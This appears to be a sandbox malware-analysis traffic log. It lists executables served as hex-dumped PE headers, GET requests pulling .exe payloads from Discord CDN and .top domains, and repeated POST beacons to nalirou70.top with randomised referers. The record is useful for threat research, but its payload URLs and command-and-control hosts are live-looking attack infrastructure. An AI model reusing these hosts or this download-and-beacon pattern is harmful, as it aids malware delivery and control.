Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Nov 2021 21:21:10 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Tue, 09 Nov 2021 09:20:58 GMTETag: "2a16d8-5d057a09c5eba"Accept-Ranges: bytesContent-Length: 2758360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 ae 4c 1d b2 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 18 03 00 00 8e 0a 00 00 00 00 00 08 10 48 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 6f 00 00 04 00 00 5e 9a 2a 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a c0 08 00 50 00 00 00 00 c0 69 00 6f 43 05 00 00 00 00 00 00 00 00 00 00 fe 29 00 d8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 20 03 00 00 20 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 68 4e 05 00 00 40 03 00 00 04 01 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 a0 08 00 00 02 00 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 20 00 00 00 c0 08 00 00 02 00 00 00 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7e c2 a9 5c 31 38 34 37 00 20 00 00 00 e0 08 00 00 08 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 80 3e 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 fa 21 00 00 80 47 00 00 fa 21 00 00 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 7e c2 a9 5c 31 38 34 37 50 0c 00 00 00 80 69 00 00 0e 00 00 00 9e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 7e c2 a9 5c 31 38 34 37 50 0c 00 00 00 a0 69 00 00 0e 00 00 00 ac 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 6f 43 05 00 00 c0 69 00 00 44 05 00 00 ba 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Nov 2021 21:21:26 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Mon, 08 Nov 2021 18:24:52 GMTETag: "48000-5d04b1be8e47b"Accept-Ranges: bytesContent-Length: 294912Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d2 78 89 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 e2 00 00 00 9a 03 00 00 00 00 00 0a c0 04 00 00 c0 03 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 cc 03 00 53 00 00 00 00 a0 04 00 f6 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 48 00 00 00 00 00 00 00 00 00 00 00 29 45 57 68 67 1f 4e 46 20 8d 03 00 00 20 00 00 00 8e 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 34 de 00 00 00 c0 03 00 00 e0 00 00 00 92 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f6 09 00 00 00 a0 04 00 00 0a 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 c0 04 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 04 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Nov 2021 21:21:33 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Mon, 08 Nov 2021 14:16:28 GMTETag: "39000-5d047a389ed49"Accept-Ranges: bytesContent-Length: 233472Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 a4 78 4c 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 3a 01 00 00 dc 02 00 00 00 00 00 cc 1e 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 04 00 00 04 00 00 ec b5 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 82 01 00 3c 00 00 00 00 20 02 00 d0 fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 51 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 39 01 00 00 10 00 00 00 3a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 50 01 00 00 3c 00 00 00 3e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 90 01 00 00 18 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 fc 01 00 00 20 02 00 00 fe 01 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Nov 2021 21:21:50 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Tue, 09 Nov 2021 21:21:02 GMTETag: "59400-5d061afb7963f"Accept-Ranges: bytesContent-Length: 365568Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 32 b7 75 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 30 04 00 00 a6 70 02 00 00 00 00 10 9e 02 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 75 02 00 04 00 00 a6 1f 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 32 04 00 50 00 00 00 00 b0 73 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 02 b0 17 00 00 40 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 97 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 2e 04 00 00 10 00 00 00 30 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 2c 64 6f 02 00 40 04 00 00 12 00 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 b0 73 02 00 44 00 00 00 46 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 00 74 02 00 0a 01 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Nov 2021 21:22:11 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Mon, 08 Nov 2021 11:30:23 GMTETag: "ad600-5d04551962fd0"Accept-Ranges: bytesContent-Length: 710144Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 e6 07 c1 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1e 08 00 00 42 03 00 00 00 00 00 cc 1e 00 00 00 10 00 00 00 30 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0b 00 00 04 00 00 ba a1 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 62 08 00 3c 00 00 00 00 00 09 00 b0 5f 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 31 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 4e 08 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 08 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1d 08 00 00 10 00 00 00 1e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 30 08 00 00 3c 00 00 00 22 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 70 08 00 00 18 00 00 00 5e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 5f 02 00 00 00 09 00 00 60 02 00 00 76 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49868 version: TLS 1.0

Source: global traffic	HTTP traffic detected: GET /attachments/906160963437363273/906989761716187247/Discrepant.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pstanat.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xyauqxpv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: nalirou70.top
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou7000.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ruebf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 330Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vhiaeb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jjvrsspwd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hjuvthale.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vhupvvm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 252Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnvjmhbadt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: nalirou70.top
Source: global traffic	HTTP traffic detected: GET /files/5675_1636449658_2701.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ssyqxqlwo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ksjdtko.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rjave.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: nalirou70.top
Source: global traffic	HTTP traffic detected: GET /files/5600_1636395892_7115.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fkqdw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vhlqong.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: nalirou70.top
Source: global traffic	HTTP traffic detected: GET /files/1516_1636380988_6400.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yvlvga.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tqhblvfem.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rykrbxyl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oaayoceae.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ukalfymca.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: nalirou70.top
Source: global traffic	HTTP traffic detected: GET /clapp.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: hajezey10.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://muqembbjlb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 273Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://crrgldha.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hbrlkj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 132Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lvejmcuwnq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 151Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rvlwdspfo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 182Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kcurrvlwmx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ykpbkuficw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 274Host: nalirou70.top
